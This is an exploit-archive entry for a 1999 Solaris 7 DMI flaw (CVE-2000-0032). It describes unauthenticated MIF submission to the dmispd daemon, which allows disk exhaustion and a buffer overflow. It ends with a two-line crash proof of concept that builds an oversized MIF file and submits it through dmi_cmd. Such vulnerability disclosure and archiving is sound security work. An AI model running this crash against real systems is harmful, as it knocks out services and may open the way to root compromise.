Exploit Solaris 7.0 - DMI Denial of Service

[Exploiter]

EDB-ID

19681

Проверка EDB

1. Пройдено

Автор

BROCK TELLIER

Тип уязвимости

DOS

Платформа

SOLARIS

CVE

cve-2000-0032

Дата публикации

1999-12-22

Solaris 7.0 - DMI Denial of Service

source: https://www.securityfocus.com/bid/878/info

DMI is the Desktop Management Interface, and is a suite of application management programs shipped with Sun's Solaris. Each application that is managed through DMI has a MIF record (which contains information about its managable components and properties) that can be inserted into the MIF database (/var/dmi/db) through the dmisp (DMI Service Providor) daemon. There is no authentication performed on who submits new MIFs, meaning anybody can do it. This creates two possible denial of service conditions. The first is consumption of disk space in /var. There are no limits (set by default) on how much space the DMI database can use. This may be used in conjunction with other vulnerabilities to prevent logging, etc. A second vulnerability is a buffer overflow condition in dmispd when MIFs are a certain size. It may be exploitable beyond being a simple denial of service (it may be possible to execute arbitrary code as root remotely). 

Buffer Overflow Crash:

echo `perl -e "print 'A' x 1000"` > /usr/home/btellier/my.mif
dmi_cmd -CI ../../../usr/home/btellier/my.mif

(dmispd segfaults)